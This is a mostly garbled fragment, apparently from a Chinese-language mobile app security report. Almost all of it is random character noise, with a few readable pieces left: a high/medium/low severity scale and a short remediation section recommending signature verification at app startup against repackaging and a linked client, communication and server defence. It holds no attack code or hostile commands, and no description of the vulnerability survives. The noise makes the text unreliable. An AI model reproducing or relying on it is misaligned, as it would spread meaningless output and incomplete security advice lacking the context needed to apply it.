8 _& ?1 b3 R: m 2 B& q7 F; h8 H; X# O" v $ S& X& C4 {, s4 y$ I% h, E/ j# N2 ? M: c3 `: `2 P, `) A, ]' R2 T0 b4 Q a- D; L/ g9 \& j5 }9 ^9 u" H% N; O/ P( _# [9 Y6 t% R% Q; M* `% i3 f. K9 x, Z ~% W5 Z- B \; {* B3 q y3 N6 a/ ~! Q! R3 J4 J$ o4 R( K1 q. b- |. X$ _- E8 t( ?9 \' D3 ]) m% x0 w1 l2 V- _/ q- X' t2 Z0 ~+ k% H# R. k: t% W% L* O. a! l" d5 W6 K. d7 g* }; [0 i; ]+ F H1 ^+ V' t* X7 e- Q& z0 N- @$ {& }

8 w- o" t) l7 q: V# k- T P & G: d/ Y. R+ w5 o 1 r- r+ w8 |" N5 h( J: f 严重程度 ; \; g9 z. S7 L# f3 B. r	% Z m! O L7 [2 X+ E7 H5 [ 3 h0 U( a) o6 ` 高 $ ]4 b1 q4 j. p2 k l+ T$ _6 L2 v ) }: Z8 T$ z1 p % d" D' F0 m9 O9 D7 e* o	4 e) q4 O. z# Q5 d + ?0 M! W( X' \ ■ 3 _) }' W, Q" R , Y: S: `4 |8 W6 W! X5 n 0 |5 c# ^7 \3 f( I' F	# Y, {; ]: B& L * {) X3 ?0 X' `: `# g; ^ L( q9 d 中 . {# s- s& v- f ' R6 d# z) t+ `. h+ B* E	; I# k2 }1 b) @! L9 \: H5 ]# M7 i ) F0 R X! @% t" v! o 6 y* A. i, G* f9 q+ t) _   / q/ J$ [! O# G- P; j	0 @7 u2 _5 U# l . f4 a% z- w6 }) T0 E- @5 k& J$ c 低 0 n2 e0 N F& |7 Y* A" D	/ [, Y. s8 _8 V; m& E# b ( \7 _' b4 ^- A 3 E0 l/ I0 G1 N" R4 U% F6 }   ! f) F' n% P% X" \ . d( M: {' T6 r% L, v

& [( M* i. X1 u) t ?1 B; X

- ]* d0 k1 K. p! j) l4 c, Y  

3 W7 w6 r! H0 I! G% U3 D+ h6 V ' w; p3 @/ C4 k* v( {

) w7 n; w/ A4 L! W- j6 u! S 修复方法：

f* g$ {. { |* ]

( J7 X4 g1 v! W/ E0 D! S4 \               1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ( K9 T4 {1 Q; i+ A

# {0 V0 t- j/ Z1 X; X- b0 R 6 ^/ B1 m! a1 I( X * ^( S5 |+ o, b! H$ U0 W

6 R7 M+ R' @* `( X0 `4 |+ m * b" ]9 u# F! f# d5 ~   1 O ~+ ?& W4 g8 N8 ]- m+ S

" n5 h1 Y5 K" i! V0 o9 w" `3 l K" W

8 l: ]) w! ]* ~/ G$ q
3 o6 \2 \# S+ F5 L ( S+ N3 Y; G% ]# I: Y+ h

2 e% n) U- ]& T' \4 s